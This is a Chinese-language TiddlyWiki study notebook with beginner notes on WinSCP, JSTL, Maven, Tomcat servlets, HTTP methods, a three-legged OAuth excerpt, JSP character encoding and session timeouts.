正體中文版本的 WinSCP 已翻譯完畢,如果您需要中文化介面,首先請安裝英文版。到 [[WinSCP 下載|http://winscp.net/eng/download.php]] 並選擇「Installation package」。然後到 [[翻譯下載|http://winscp.net/eng/translations.php]] (winscp421.ch)、解壓縮 Traditional Chinese 的 ZIP 壓縮檔,然後把語言檔放在與 WinSCP 執行檔相同的資料夾(就是安裝的目的地)。

{{op1{特色}}}
{{{
* 圖形使用者介面
* 多國語言介面(正體中文已由 Makr Lin 和 Hong-Yi Chen 100% 翻譯完成,歡迎享用囉!)
* Windows整合 (拖放檔案、通訊協定登記、捷徑)
* 所有普通的檔案操作功能
* 支援 SSH-1 和 SSH-2 上的SFTP 與 SCP 通訊協定
* 批次指令檔的scripting 與命令列介面
* 用許多不同的方式同步目錄
* 內建文字編輯器
* 支援 SSH 密碼、鍵盤互動、公開金鑰與 Kerberos (GSS) 認證方式
* 內建 Pageant (PuTTY Agent) 完整支援公開金鑰認證法
* 檔案總管管理介面與諾頓指揮官管理介面兩種操作介面.
* 可選擇儲存期間資料
* 可選擇支援獨立運作將登錄資料存在一設定檔上,適合在隨身媒體上使用
}}}

{{op1{檔案操作}}}
WinSCP 可以做所有簡單的檔案操作,包括下載與上傳檔案。它也可以重新命名檔案與資料夾、新增資料夾、變更內容、建立目錄連結 (symbolic links) 與捷徑。

兩種程式介面可供選擇,讓使用者甚至可以管理自己電腦上的檔案。.

{{op1{遠端主機連線}}}
WinSCP 能連線到 SSH (Secure Shell) 伺服器與 SFTP (SSH File Transfer Protocol) 或 SCP (Secure Copy Protocol) 服務這些在UNIX 機器上的功能。SFTP 是SSH-2 套件標準的一部份,而 SCP 是 SSH-1 套件上的標準。兩種通訊協定都可以在未來的 SSH 版本上運作。WinSCP 支援SSH-1與SSH-2。

{{op1{程式操作介面}}}
WinSCP 有兩種可以選擇的操作介面與許多的設定選項。

在安裝時就會有機會選擇您所希望的的操作介面。您也可以在選項裡面改變它。若您第一次使用 WinSCP,您可能會希望選擇您比較熟悉的檔案總管式操作介面。或是您習慣被應用在許多檔案管理程式中(像是Total Commander、FAR、Altap Salamander)的Norton Commander 概念的雙窗介面,選擇這個操作介面。雙窗介面的設計讓您可以簡單的用鍵盤操作程式;您甚至不用碰觸滑鼠。使用此介面可以更快的操控程式。
<<toBalaNotes "winscp">>

{{op1{1. 啟動 WinSCP}}}

''執行 winscp421.exe, 然後輸入連接 [遠端主機的 IP 位址] 及 登入的 [帳號/密碼], 如下圖 :''

[img[img/winscp/scpstart01.png]]

''連接成功, 如下圖 :''

[img[img/winscp/scpstart02.png]]

{{op1{2. 設定 WinSCP}}}

''開始設定''

[img[img/winscp/scpsetup01.png]]

''介面設定''

[img[img/winscp/scpsetup02.png]]

''應用程式''

[img[img/winscp/scpsetup03.png]]

///%winscp
//%/
1. Download the JSTL archive (binaries not source) from the Jakarta Website. Unzip/untar the file.
下載網址 : https://jstl.dev.java.net/   ''(jstl-api-1.2.jar, jstl-impl-1.2.jar)''

2. Copy the jar files you've extracted to ''common/lib'' in your Tomcat installation (although you won't need all the jar files for our project). This makes the JSTL jar files available to any of your Web applications.

3. For any Web application for which you want to use JSTL, copy the ''.tld'' files to the ''WEB-INF'' directory in your Web application.
   
[img[img/jsp/jstlins.png]]

4. For your JSTL Web application, edit your web.xml file and add the following entries:
{{{
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
  <jsp-config>
        <taglib>
          <taglib-uri>http://java.sun.com/jstl/fmt</taglib-uri>
          <taglib-location>/WEB-INF/fmt.tld</taglib-location>
        </taglib>
        <taglib>
          <taglib-uri>http://java.sun.com/jstl/core</taglib-uri>
          <taglib-location>/WEB-INF/c.tld</taglib-location>
        </taglib>
        <taglib>
          <taglib-uri>http://java.sun.com/jstl/sql</taglib-uri>
          <taglib-location>/WEB-INF/sql.tld</taglib-location>
        </taglib>
        <taglib>
          <taglib-uri>http://java.sun.com/jstl/x</taglib-uri>
          <taglib-location>/WEB-INF/x.tld</taglib-location>
        </taglib>
  </jsp-config>
</web-app>
}}}
  
5. When you create a JSP page that uses JSTL, put it in your Web application's main directory, just like other JSP and HTML pages. You can name this page whatever you want, but it should have a .jsp extension.

<<forEachTiddler 
 where
   'tiddler.tags.contains("toBala")'
>>
{{item1{安裝 Maven}}}

{{op1{1. 下載 Maven}}}
download Maven : http://maven.apache.org/download.html

{{op1{2. 設定 M2_HOME 及 PATH 環境變數}}}

{{op1{3. 測試 Maven}}}
{{{
root@tobalaking:/opt# mvn -version
}}}
It should print out your installed version of Maven, for example:
{{{
Apache Maven 2.1.0 (r755702; 2009-03-19 03:10:27+0800)
Java version: 1.6.0_14
Java home: /opt/jdk1.6.0_14/jre
Default locale: zh_TW, platform encoding: UTF-8
OS name: "linux" version: "2.6.28-11-server" arch: "i386" Family: "unix"
}}}
Depending upon your network setup, you may require extra configuration. Check out the [[Guide to Configuring Maven|http://maven.apache.org/guides/mini/guide-configuring-maven.html]] if necessary.

{{item1{設定 Maven}}}

{{op1{設定下載套件 (*.jar) 的儲存位址}}}
修改 %M2_HOME%\conf\settings.xml 檔案中的 <localRepository> 標籤內容, 如沒修改, 在 Windows 系統中會存到 C:\Documents and Settings\userprofile 目錄 (${user.home}/.m2)
{{{
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <!-- localRepository
   | The path to the local repository maven will use to store artifacts.
   |
   | Default: ~/.m2/repository  -->
  <localRepository>${env.M2_HOME}\m2</localRepository>
}}}

<<toBalaNotes "mavenins">>
{{op1{Maven Properties}}}
Properties are the last required piece in understanding POM basics. ''Maven properties'' are value placeholder, like properties in Ant. Their values are accessible anywhere within a POM by using the notation ${X}, where X is the property. They come in five different styles:

''1. env.X:'' Prefixing a variable with "env." will return the shell's environment variable. For example, ''${env.PATH}'' contains the PATH environment variable. Note: While environment variables themselves are case-insensitive on Windows, lookup of properties is case-sensitive. In other words, while the Windows shell returns the same value for %PATH% and %Path%, Maven distinguishes between ${env.PATH} and ${env.Path}. As of Maven 2.1.0, the names of environment variables are normalized to all upper-case for the sake of reliability.

''2. project.x:'' A dot (.) notated path in the POM will contain the corresponding element's value. For example: <project><version>1.0</version></project> is accessible via ''${project.version}''.

''3. settings.x:'' A dot (.) notated path in the settings.xml will contain the corresponding element's value. For example: <settings><offline>false</offline></settings> is accessible via ''${settings.offline}''.

''4. Java System Properties:'' All properties accessible via java.lang.System.getProperties() are available as POM properties, such as ''${java.home}''.

''5. x:'' Set within a <properties /> element. The value may be used as ''${someVar}''.



///%mavenins
//%/
<<timeline>>
{{{
在 [學習筆記本] 的文章中可直接寫入 HTML 網頁, 本文範例使用 &lt;embed&gt; 顯示外部網站中的 Flash 檔, 內容如下

<html>
<body>  
<div class='widget-content'>
<embed quality="high" align="right" type="application/octet-stream" height="100%" src="http://imgfree.21cn.com/free/flash/17.swf" style="LEFT: 0px; WIDTH: 100%;  HEIGHT: 100%" width="100%" wmode="transparent"></embed>
</div>
</body>
</html>
}}}
{{item1{建立 X Web Application 的目錄架構}}}
{{{
<TOMCAT_HOME>/webapps/x
<TOMCAT_HOME>/webapps/x/WEB-INF
<TOMCAT_HOME>/webapps/x/WEB-INF/classes
<TOMCAT_HOME>/webapps/x/WEB-INF/lib
}}}

''1. 點選 webapps 目錄, 如下圖''

[img[img/webapp/sproject01.png]]

''2. 建置 x 專案目錄''

[img[img/webapp/sproject02.png]]

[img[img/webapp/sproject03.png]]

{{item1{產生 Deployment Description 檔}}}
 
在 <TOMCAT_HOME>/webapps/x/WEB-INF 目錄中產生 web.xml 內容如下:
{{{
<?xml version="1.0" encoding="ISO-8859-1"?>

<web-app xmlns="http://java.sun.com/xml/ns/javaee"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
   version="2.5">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>
</web-app>
}}}
''[註]'' 注意大小寫

''1. 點選 WEB_INF 目錄, 產生 web.xml 檔''

[img[img/webapp/sproject04.png]]

''2. 編寫 web.xml 檔''

[img[img/webapp/sproject05.png]]

{{item1{撰寫 Servlet 程式 : post.java}}}

''在 WEB-INF/classes 目錄中, 編寫 post.java 程式碼''

[img[img/webapp/sproject06.png]]

''程式碼''
{{{
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class post extends HttpServlet
{
    // doPost方法
    public void doPost(HttpServletRequest request, HttpServletResponse response)
                          throws ServletException, IOException
    {  // 取得表單欄位資料
       String username = request.getParameter("Username");
       String password = request.getParameter("Password");
       response.setContentType("text/html; charset=Big5");
       // 取得輸出串流
       PrintWriter out = response.getWriter();
       // 建立HTML文件
       out.println("<html>"); out.println("<body>");
       out.println("Name : " + username + "<br>");
       out.println("Pass : " + password);
       out.println("</body></html>");
    }
    // doGet方法
    public void doGet(HttpServletRequest request, HttpServletResponse response)
                          throws ServletException, IOException
    {   doPost(request, response);  }
}
}}}

{{item1{翻譯 post.java 程式}}}

{{op1{1. 開啟 Putty}}}

[img[img/webapp/sproject07.png]]

{{op1{2. 複製 <TOMCAT_HOME>/lib 目錄中的 servlet-api.jar 檔案到  /opt/jdk1.6.0_14/jre/lib/ext 目錄}}}

[img[img/webapp/sproject08.png]]

{{op1{3. 翻譯 post.java}}}
{{{
# cd /opt/apache-tomcat-6.0.20/webapps/x/WEB-INF/classes
# javac -encoding big5 post.java
}}}

[img[img/webapp/sproject09.png]]


{{op1{4. 將以下內容, 加入 <TOMCAT_HOME>/x/WEB-INF/web.xml 檔案}}}
{{{
<?xml version="1.0" encoding="ISO-8859-1"?>

<web-app xmlns="http://java.sun.com/xml/ns/javaee"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
   version="2.5">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to Tomcat
  </description>
  <servlet>
    <servlet-name>post</servlet-name>
    <servlet-class>post</servlet-class>
  </servlet>

  <servlet-mapping>
     <servlet-name>post</servlet-name>
     <url-pattern>/hello</url-pattern>
  </servlet-mapping>
</web-app>
}}}

{{item1{測試 X Web Application}}}
{{op1{1. 啟動 Tomcat}}}

[img[img/webapp/sproject10.png]]

{{op1{2. 測試 x 專案}}}
啟動瀏覽器, 輸入 http://192.168.200.140:8080/x/hello?Username=x&Password=y, 如下圖 :

[img[img/webapp/sproject11.png]]

<<toBalaNotes "firstwar">>
{{item1{Ubuntu 10.04 與 SUN JDK}}}
''Sun Java moved to the Partner repository''

For Ubuntu 10.04 LTS, the sun-java6 packages have been dropped from the Multiverse section of the Ubuntu archive. It is recommended that you use openjdk-6 instead.

If you can not switch from the proprietary Sun JDK/JRE to OpenJDK, you can install sun-java6 packages from the Canonical Partner Repository. You can configure your system to use this repository via command-line:
{{{
add-apt-repository "deb http://archive.canonical.com/ lucid partner"
}}}







///%firstwar
//%/
__{{item1{文章建立與 Wiki 語法}}}__
1. 點選工具列中的 [''新增文章''] 按鈕, 開始編輯文章

2. 輸入以下文字, 輸入完成後, 請點選 [''完成''] 按鈕
{{{
我的第一篇文章
|Item1|Item2|
}}}
3. 結果如下 : 

我的第一篇文章
|Item1|Item2|

4. 點選工具列中的 [''儲存變更''] 按鈕, 儲存新增文章

''[注意]'' 切勿點選瀏覽器 (IE, Firefox,..) 的 [檔案][另存新檔] 按鈕, 儲存整個網頁. 完整 Wiki 語法請參考 [[Tiddlywiki 練功坊|http://tiddlywiki.tbala.net]]

__{{item1{文章的刪除}}}__
1. 點選欲刪除的文章

2. 點選 [編輯] 按鈕, 進入編輯模式

3. 點選 [刪除] 按鈕, 然後點選 [確定] 按鈕, 進行刪除

<<toBalaNotes "wiki">>


///%wiki
//%/

{{item1{What is difference between page and pageContext in JSP pages?}}}

The page and pageContext are implicit JSP Objects. The page object represents the generated servlet instance itself, i.e., it is same as the "this" keyword used in a Java file. As a result, you do not typically know who the super class is, and consequently do not normally make use of this object or its methods.

The pageContext object represents the environment for the page, containing useful information like page attributes, access to the request, response and session objects, as well as the JspWriter referenced by out. This object also has methods for including another URL's contents, and for forwarding or redirecting to another URL. For example, to forward a request to another resource from in a JSP page, we can do that by using the pageContext variable:

{{op1{HTTP POST 要求}}}
1. 啟動 WireShark, 選擇網卡, 開始截取封包  (@@color:red;確定防毒或防火牆軟體不會阻止封包截取@@)
{{{
快點二下 toBalaAPPS\NetworkTools\WiresharkPortable 目錄中的  WiresharkPortable.exe
}}}

[img[img/http/wscapture.png]]

2. 啟動 瀏覽器 (Firefox, IE, Safari,...)

3. 輸入以下網址 
{{{
http://www.snee.com/xml/crud/posttest.html
}}}
4. 在表單中輸入 first name 及 first name, 然後點選 [ go] 按鈕

[img[img/http/httpmethod01.png]]

5. 傳回資訊如下 :
{{{
posted data

First name: "tom"

Last name: "lee"

REQUEST_URI: "/xml/crud/posttest.cgi"

QUERY_STRING: ""

CONTENT_LENGTH: "19"

content passed via STDIN: "fname=tom&lname=lee"
}}}

6. 停止 WireShark 封包截取, 檢視封包

[img[img/http/httpmethod02.png]]

[img[img/http/httpmethod03.png]]

<<toBalaNotes "httpmethod">>
''參考文章''
1. Hypertext Transfer Protocol -- HTTP/1.1 
http://www.w3.org/Protocols/rfc2616/rfc2616.html

HTTP defines ''eight methods'' (sometimes referred to as "verbs") indicating the desired action to be performed on the identified resource.

''HEAD''
Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.

''GET''
Requests a representation of the specified resource. By far the most common method used on the Web today. Should not be used for operations that cause side-effects (using it for actions in web applications is a common mis-use). See 'safe methods' 
below.

''POST''
Submits data to be processed (e.g. from an HTML form) to the identified resource. The data is included in the body of the request. This may result in the creation of a new resource or the updates of existing resources or both.

''PUT''
Uploads a representation of the specified resource.

''DELETE''
Deletes the specified resource.

''TRACE''
Echoes back the received request, so that a client can see what intermediate servers are adding or changing in the request.

''OPTIONS''
Returns the HTTP methods that the server supports. This can be used to check the functionality of a web server.

''CONNECT''
For use with a proxy that can change to being an SSL tunnel.

{{item1{WebDAV added the following methods to HTTP}}}
''PROPFIND'' 
Used to retrieve properties, persisted as XML, from a resource. It is also overloaded to allow one to retrieve the collection 
structure (a.k.a. directory hierarchy) of a remote system.

''PROPPATCH'' 
Used to change and delete multiple properties on a resource in a single atomic act.

''MKCOL''
Used to create collections (a.k.a. directory).

''COPY''
Used to copy a resource from one URI to another.

''MOVE''
Used to move a resource from one URI to another.

''LOCK''
Used to put a lock on a resource. WebDAV supports both shared and exclusive locks.
    
''UNLOCK''
To remove a lock from a resource.




///%httpmethod
//%/
本文網址 : http://answers.oreilly.com/topic/1381-how-to-use-three-legged-oauth/

Do you have a web service that you'd like to set up authentication on? OAuth is a popular tool to accomplish this task. In this excerpt from Subbu Allamaraju's [[RESTful Web Services Cookbook|http://oreilly.com/catalog/9780596801687/]] you'll learn how to use three-legged (腿的) OAuth authentication.

OAuth (http://oauth.net) is a delegated authorization protocol developed in 2007. Using this protocol, a user can, without revealing her credentials, let a client access her data available on a server. ''OAuth’s authentication protocol'' is called three-legged because there are three parties involved in the protocol: the ''service provider (i.e., the server)'', the ''OAuth consumer (i.e., the client)'', and ''a user''.

OAuth’s three-legged protocol is applicable whenever a client would like to access a given user’s resources available on a server. For instance, users of Twitter, Yahoo!, Google, Netflix, etc., use the OAuth protocol to grant access to their data to third-party tools so that those tools can access a user’s data without asking users to share their credentials such as ''username and password''. Implementations of this protocol are available in most programming languages.

{{op1{Problem}}}
You want to know how to implement three-legged OAuth protocol.

{{op1{Solution}}}
Figure 12.1 shows the role of the OAuth protocol. At the start of the protocol, the server uses a ''“consumer key”'' as an identifier for the client and a ''“consumer secret”'' as a shared secret. Once a user authorizes the client to access her resources, the server uses an ''“access token”'' as an identifier uses the authorized client and uses a ''“token secret”'' as a shared secret.

Figure 12.1. Role of the three-legged OAuth flow
[img[img/restful_cook_12.1.png]]

OAuth relies on three sets of tokens and secrets issued by the server to the client:

''Consumer key and consumer secret''
The consumer key is a unique identifier for the client. The client uses the consumer secret to sign the request to obtain request tokens.

''Request token and token secret''
The request token is a temporary one-time identifier issued by the server for the purpose of asking the user to grant permission to the client. The token secret is used to sign the request to obtain an access token.

''Access token and token secret''
The access token is an identifier for use by the client to access the user’s resources. A client in possession (擁有) of an access token can access the user’s resources as long as the token is valid. The server may revoke it at any time either due to expiry or due to the user revoking (撤回) the permission. The secret is used to sign requests to access the protected user’s resources.

Using three-legged OAuth involves the following steps. The purpose of this flow is to obtain an access token and a secret. The server may grant the access token for a particular period of time and/or to limit access to certain user resources.

1. The client requests the server for a consumer key and a consumer secret out of band.
2. The client uses the consumer key to obtain a request token and a secret.
3. The client directs the user to the server to grant permission to let the client access the user’s resources. This process results in an authenticated request token.
4. The client requests the server to provide an access token and secret. These represent an identifier and shared secret that the client can use to access resources on behalf of the user.
5. When making a request to access a protected resource, the client includes an Authorization header (or query parameters) containing the consumer key, the access token, the signature method and a signature, the timestamp, a nonce, and optionally the version of the OAuth protocol.

Note that since OAuth is a protocol layered on top of HTTP, servers need to document the following URIs to clients:

* URI to obtain request token
* URI to authorize the server
* URI to obtain an access token

OAuth recommends using POST to obtain request and access tokens.

{{op1{Discussion}}}
Consider the photo album web service introduced in the section called “How to Copy a Resource”. The client needs the user’s authorization for it to be able to make a copy of a user’s photo album resource. The client approaches the server to obtain an oauth_consumer_key and a secret through some out-of-band means. For example, the server may provide a web page for clients to register and obtain the consumer key and consumer secret. Assume that the server assigns a1191fd420e0164c2f9aeac32ed35d23 as the consumer key and, as the shared secret, fd9b9d0f769c3bcc548496e4b5077da79c02d7be.

For the client to initiate the three-legged protocol, the server documents the following URIs:

* A URI to obtain request tokens (e.g., https://www.example....h/request_token)
* A URI to obtain a user’s authorization (e.g., https://www.example....oauth/authorize)
* A URI to obtain an access token (e.g., https://www.example....th/access_token)

{{op1{Warning}}}

Consider using TLS for these URIs since responses involve shared secrets and user authorization.

These requests involve the following parameters:

''oauth_consumer_key''

This is the unique identifier issued by the server to each client.

''oauth_signature_method''

This is the signing method used when computing a signature. OAuth defines HMAC-SHA1 and RSA-SHA1 as the signing methods. When clients and servers are using TLS, you can avoid signatures and use PLAINTEXT as the value of this parameter.

''oauth_timestamp''

This is the number of seconds since January 1, 1970, 00:00:00 GMT.

''oauth_nonce''

This is a random string that is unique for all requests sent at a given oauth_timestamp. This parameter helps servers deter replay attacks. Note that, unlike digest authentication, OAuth requires clients to generate nonce values.

''oauth_version''

This is the version of OAuth, which is currently 1.0.

{{op1{Tip}}}
Clients can send these parameters as directives of the Authorization headers, or query parameters, or encoded using application/x-www-form-urlencoded in the body of the request. The following examples use the Authorization header for all requests.

The first step for the client is to submit a request to obtain a request token and a secret from the server. The signature in this request is based on the consumer secret that the client obtained along with the consumer key. The signature includes oauth_consumer_key, oauth_signature_method, oauth_timestamp, oauth_nonce, and oauth_version and must be computed as follows:

1. Collect parameters oauth_consumer_key, oauth_signature_method, oauth_timestamp, oauth_nonce, and oauth_version.
2. Percent-encode the parameters, and sort them first by their name and then by their value.
3. Concatenate the parameters into a string just the way you compute an application/x-www-form-urlencoded string. For this example, the value of this string is oauth_consumer_key=a1191fd420e0164c2f9aeac32ed35d23&oauth_nonce=109843dea839120a&oauth_signature_method=HMAC-SHA1&oauth_timestamp=1258308730&oauth_version=1.0.
4. Compute a signature using the shared secret. For this example, the signature is d8e19bb988110380a72f6ca33b2ba5903272fe1.
5. Base64-encode the signature, and then percent-encode the resulting text.

Using this signature, the consumer sends a request to obtain a request token.
{{{
# Request to obtain a request token

POST /request_token HTTP/1.1 [1]

Host: www.example.org

Authorization: OAuth realm="http://www.example.com/photos",

 	oauth_consumer_key=a1191fd420e0164c2f9aeac32ed35d23,

 	oauth_nonce=109843dea839120a,

 	oauth_signature=d8e19bb988110380a72f6ca33b2ba5903272fe1,

 	oauth_signature_method=HMAC-SHA1,

 	oauth_timestamp=1258308730,

 	oauth_version=1.0 [2]

Content-Length: 0

# Response containing a request token and a secret

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded

oauth_token=0e713d524f290676de8aff4073b1bb52e37f065c

 &oauth_token_secret=394bc633d4c93f79aa0539fd554937760f05987c [3]
}}}
	

[1] Request to obtain a request token and secret

[2] Authorization header to authenticate the client

[3] Response containing a request token and a secret

The oauth_token in this response is a request token that the client must use in order to get the user’s permission. The client directs the user to visit a resource on the server to grant authorization.
{{{
# Request to obtain authorization

GET /oauth/authorize?oauth_token=0e713d524f290676de8aff4073b1bb52e37f065c HTTP/1.1

Host: www.example.org
}}}
The implementation of this resource is up to the server. At this point, the server will need to check whether the user is authenticated with the server. The server may allow the user to select the parts of data that the client can access and the nature of the access. For instance, the user may grant the client permission to edit an album or create a new album but not delete any album or photos. After this step, the server directs the user back to the client. If the client has a web-based user interface, the server may redirect the user to that interface via a callback URI. If not, the server will ask the user to manually enter a verification code in the client’s user interface. With either approach, the client obtains a verification code from the server.

The client uses the verification code to obtain an access token. The signature in this request is based on oauth_consumer_key, the request token, the verification code, oauth_signature_method, oauth_timestamp, oauth_nonce, and oauth_version.
{{{
# Request to obtain an access token

POST /access_token HTTP/1.1 [1]

Host: www.example.org

Authorization: OAuth oauth_consumer_key="a1191fd420e0164c2f9aeac32ed35d23",

 	oauth_token="ad0d1c7a765c9e6e8b14e639c763177312d18e7e",

 	oauth_verifier="988786765423",

 	oauth_signature_method="RSA-SHA1",

 	oauth_signature="698d58fd3316304181e11c6eb8127ffea7e2df46",

 	oauth_timestamp="1258328458",

 	oauth_nonce="109843dea839120a",

 	oauth_version="1.0" [2]

Content-Length: 0



HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded



oauth_token=8d743f1165c7030177040ec70f16df8bc6f415c7

 &oauth_token_secret=95aec3132c167ec2df818770dfbdbd0a8b2e105e [3]
}}}
	
[1] Request to obtain an access token and secret

[2] Authorization header to authenticate the client

[3] Response containing an access token and token secret

This response contains an access token and a secret. The server must verify that the request token matches the consumer key before issuing an access token.

The client uses these to construct an Authorization header with its requests to access protected resources for that user. The signature in this request is based on the oauth_consumer_key, access token, oauth_signature_method, oauth_timestamp, oauth_nonce, and oauth_version along with any query parameters in the URI or the body of the request when the request media type is application/x-www-form-urlencoded.
{{{
# Request

POST /albums/2009/08/1011/duplicate;t=a5d0e32ddff373df1b3351e53fc6ffb1 HTTP/1.1 [1]

Host: www.example.org

Authorization: OAuth oauth_consumer_key="a1191fd420e0164c2f9aeac32ed35d23",

 	oauth_token="827fa00c6f15db4063378bb988e1563e0c318dbc",

 	oauth_signature_method="RSA-SHA1",

 	oauth_signature="f863cceebb4f1fe60739b125128e7355dcbf14ea",

 	oauth_timestamp="1258328889",

 	oauth_nonce="3c93e7fdd1101e515997abf84116ef579dccce1a",

 	oauth_version="1.0" [2]
}}}

[1] Request to access a protected resource

[2] Request containing an Authorization header using the access token and token secret

Although the flow appears complex, it is designed to let clients access the user’s data without asking for the user’s credentials such as a username and password. Moreover, the user can ask the server to revoke the permission to any client.

When considering OAuth, note that the protocol is not associated with any particular resource. For a more in-depth discussion on using this protocol, see the “Beginner’s Guide to OAuth” (http://hueniverse.com/oauth).
<<toBalaNotes "oauth">>


///%oauth
//%/
{{item1{無法正確顯示中文}}}
''testcht1.jsp''
{{{
<HTML>
<HEAD>
    <TITLE>中文測試程式 (失敗版)</TITLE>
</HEAD>
<BODY>
<%
        response.setContentType("text/html; charset=UTF-8");      
        out.println("中文測試");
 
%>
</BODY>
</HTML>
}}}

{{op1{Tomcat 在替 JSP 產生 servlet 程式時, 編碼就已經錯誤, 請看以下程式 :}}}
''testcht1_jsp.java''
{{{
public void _jspService(HttpServletRequest request, HttpServletResponse response)
        throws java.io.IOException, ServletException {
                                       :
    try {
                 :
      out.write("<HTML>\r\n");
      out.write("<HEAD>\r\n");
      out.write("    <TITLE></TITLE>\r\n");
      out.write("</HEAD>\r\n");
      out.write("<BODY>\r\n");

        response.setContentType("text/html; charset=UTF-8");      
        out.println("¤¤¤å´ú¸Õ");
 

      out.write("\r\n");
      out.write("</BODY>\r\n");
      out.write("</HTML>\r\n");
                        :
}}}

{{item1{修改後的程式}}}
''testcht2.jsp''
{{{
<%@ page pageEncoding="big5" contentType="text/html; charset=utf-8" %>
<HTML>
<HEAD>
    <TITLE>中文測試程式 (成功版)</TITLE>
</HEAD>
<BODY>
<%
   out.println("中文測試");
%>
</BODY>
</HTML>
}}}

<<toBalaNotes "cht">>

''參考文章''
1. 14.2. JSP / Servlet 怎樣才能處理中文?
http://www.netlab.cse.yzu.edu.tw/~statue/freebsd/zh-tut/jsp-servlet.html



///%cht
//%/
{{item1{Redirect}}}

{{item1{Dispatcher}}}
[img[img/servlet/servletdispatcher.png]]

<<toBalaNotes "dispatcher">>



///%dispatcher
//%/

''Q'' :I'm wondering if who has the higher priority?
For example if a webapp has a DD declared
{{{
<session-timeout> 15 </session-timeout>  
}}}
''<session-timeout> 15 </session-timeout>'', 15 being 15 mins and then a servlet sets the
{{{
session.setMaxInactiveInterval(5)  
}}}
''session.setMaxInactiveInterval(5)'', 5 being 5 seconds; which does the servlet container favors? the DD declaration or the method call ?

''A :'' apparently the <session-timeout> is a "global" setting. but the session.setMaxInactiveInterval(int) are for specifics or "local" settings.

global meaning those sessions that didn't have their setMaxInactiveInterval set will use the one from the dd. but for those you went thru to the setMaxInactiveInterval will use the one that was set for that specific session object. 

{{{
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

public class SessionTTL extends HttpServlet {

  public void doGet(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, java.io.IOException {

    response.setContentType("text/html");
    java.io.PrintWriter out = response.getWriter();
    HttpSession session = request.getSession();

    out.println("<html>");
    out.println("<head>");
    out.println("<title>Simple Session Tracker</title>");
    out.println("</head>");
    out.println("<body>");

    out.println("<h2>Session Info</h2>");
    out.println("session Id: " + session.getId() + "<br><br>");
    out.println("The SESSION TIMEOUT period is "
        + session.getMaxInactiveInterval() + " seconds.<br><br>");
    out.println("Now changing it to 20 minutes.<br><br>");
    session.setMaxInactiveInterval(20 * 60);
    out.println("The SESSION TIMEOUT period is now "
        + session.getMaxInactiveInterval() + " seconds.");

    out.println("</body>");
    out.println("</html>");

  }

  protected void doPost(HttpServletRequest request, HttpServletResponse response) 
      throws ServletException, java.io.IOException {
    doGet(request, response);
  }
}

}}}


The following macro call exports all tiddlers to a text file "c:/~MyTiddlyWikiExport.txt", using a customized format.
{{{
<<forEachTiddler
 script 'function getSortedTagsText(tiddler) {var tags = tiddler.tags; if (!tags) return ""; tags.sort(); var result = ""; for (var i = 0; i < tags.length;i++) {result += tags[i]+ " ";} return result;} function writeTiddler(tiddler) {return "==== "+tiddler.title+"=========================\nTags: "+ getSortedTagsText(tiddler)+"\nModified: "+tiddler.modified.convertToYYYYMMDDHHMM()+"\nModifier: "+tiddler.modifier+"\n--------------------------------------------------\n"+tiddler.text+"\n--------------------------------------------------\n(End of "+tiddler.title+")\n\n\n\n"}'
 write 
 'writeTiddler(tiddler)' 
 toFile 'file:///c:/MyTiddlyWikiExport.txt' withLineSeparator '\r\n'
>>
}}}
For better readablility here the script text in a nicer layout:
{{{
function getSortedTagsText(tiddler) {
 var tags = tiddler.tags; 
 if (!tags) 
 return ""; 
 tags.sort(); 
 var result = ""; 
 for (var i = 0; i < tags.length;i++) {
 result += tags[i]+ " ";
 } 
 return result;
} 

function writeTiddler(tiddler) {
 return "==== "+tiddler.title+"=========================\n"+
 "Tags: "+ getSortedTagsText(tiddler)+"\n"+
 "Modified: "+tiddler.modified.convertToYYYYMMDDHHMM()+"\n"+
 "Modifier: "+tiddler.modifier+"\n"+
 "--------------------------------------------------\n"+
 tiddler.text+"\n"+
 "--------------------------------------------------\n"
 "(End of "+tiddler.title+")\n\n\n\n"
}
}}}

<<forEachTiddler
 script 'function getSortedTagsText(tiddler) {var tags = tiddler.tags; if (!tags) return ""; tags.sort(); var result = ""; for (var i = 0; i < tags.length;i++) {result += tags[i]+ " ";} return result;} function writeTiddler(tiddler) {return "==== "+tiddler.title+"=========================\nTags: "+ getSortedTagsText(tiddler)+"\nModified: "+tiddler.modified.convertToYYYYMMDDHHMM()+"\nModifier: "+tiddler.modifier+"\n--------------------------------------------------\n"+tiddler.text+"\n--------------------------------------------------\n(End of "+tiddler.title+")\n\n\n\n"}'
 write 
 'writeTiddler(tiddler)' 
 toFile 'file:///c:/MyTiddlyWikiExport.txt' withLineSeparator '\r\n'
>>
{{item1{產生 Web Application Archive}}}
{{{
# cd <TOMCAT_HOME>/webapps/x
# jar cvf  x.war  .
}}}

{{item1{上載 WAR}}}

[img[img/webapp/sproject12.png]]

<<toBalaNotes "deploy">>

{{item1{Simple Servlet Examples}}}
網站位址 : http://simple.souther.us/index.html#Introduction

''Table of Contents''
1. Introduction
2. Simple Servlet (SimpleServlet.war)
3. Simple JSP (SimpleJSP.war)
4. Simple Bean (SimpleBean.war)
5. Simple MVC Example (SimpleMVC.war)
